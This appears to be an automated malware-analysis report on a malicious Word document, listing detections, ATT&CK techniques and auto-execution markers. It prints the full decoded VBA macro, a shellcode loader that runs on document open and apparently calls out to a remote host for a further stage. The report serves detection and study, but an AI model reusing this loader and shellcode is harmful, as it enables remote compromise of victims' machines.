MALICIOUS
206
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.005 Visual Basic
The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. The VBA macro uses the VirtualAlloc API, indicating it is likely preparing to allocate memory for and execute a payload. The presence of AutoOpen and other auto-execution markers suggests the exploit is designed to run automatically upon opening the document.
Heuristics 9
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Dim Dmqw As Long, Jfdiuws As Variant, Zgbj As Long -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4316 bytes |
SHA-256: 0e6c7c7d5ae39fed15a30f8c9484b4b6fe1f2f3192a5f54250a20b84ae9052b2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Nzfuckmm As Long, ByVal Gydigphy As Long, ByVal Tli As LongPtr, Jbd As Long, ByVal Woxyopmqn As Long, Litol As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Oecv As Long, ByVal Isspj As Long, ByVal Qqhlprbxw As Long, ByVal Rhbfuc As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Updsxck As LongPtr, ByRef Lyh As Any, ByVal Dwsxlorhw As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Nzfuckmm As Long, ByVal Gydigphy As Long, ByVal Tli As Long, Jbd As Long, ByVal Woxyopmqn As Long, Litol As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Oecv As Long, ByVal Isspj As Long, ByVal Qqhlprbxw As Long, ByVal Rhbfuc As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Updsxck As Long, ByRef Lyh As Any, ByVal Dwsxlorhw As Long) As Long
#End If
Sub Auto_Open()
Dim Dmqw As Long, Jfdiuws As Variant, Zgbj As Long
#If VBA7 Then
Dim Wgcb As LongPtr, Rmcirt As LongPtr
#Else
Dim Wgcb As Long, Rmcirt As Long
#End If
Jfdiuws = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 80, 1, 0, 0, 47, 71, 79, 50, 73, 118, 117, 97, 119, 100, 113, 77, 89, 116, 66, 109, 49, 81, 88, 67, 79, 72, 81, 104, 97, 71, 77, 53, 121, 82, 69, 85, 69, 84, 86, 114, 90, 111, 48, 67, 103, 97, 106, 67, 97, 80, 121, 85, 118, 115, 89, 56, 68, 81, 104, 79, _
79, 100, 121, 115, 109, 88, 80, 122, 102, 71, 100, 65, 77, 56, 71, 52, 89, 114, 48, 105, 76, 99, 103, 72, 114, 65, 110, 88, 108, 114, 56, 90, 76, 110, 89, 75, 104, 109, 113, 115, 55, 89, 83, 45, 75, 104, 104, 79, 113, 98, 78, 88, 68, 50, 95, 49, 71, 79, 109, 112, 115, 99, 109, 121, 69, 65, 114, 106, 53, 55, 97, 69, 113, 122, 67, 90, 83, 65, 69, 45, _
71, 106, 87, 83, 106, 66, 53, 72, 103, 100, 70, 83, 101, 69, 55, 120, 53, 48, 122, 115, 98, 85, 99, 88, 49, 109, 65, 79, 45, 51, 95, 80, 113, 74, 71, 100, 83, 54, 76, 57, 48, 109, 88, 104, 122, 109, 77, 100, 103, 95, 79, 78, 74, 106, 53, 52, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, _
235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, _
88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 49, 50, 49, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)
Wgcb = VirtualAlloc(0, UBound(Jfdiuws), &H1000, &H40)
For Zgbj = LBound(Jfdiuws) To UBound(Jfdiuws)
Dmqw = Jfdiuws(Zgbj)
Rmcirt = RtlMoveMemory(Wgcb + Zgbj, Dmqw, 1)
Next Zgbj
Rmcirt = CreateThread(0, 0, Wgcb, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.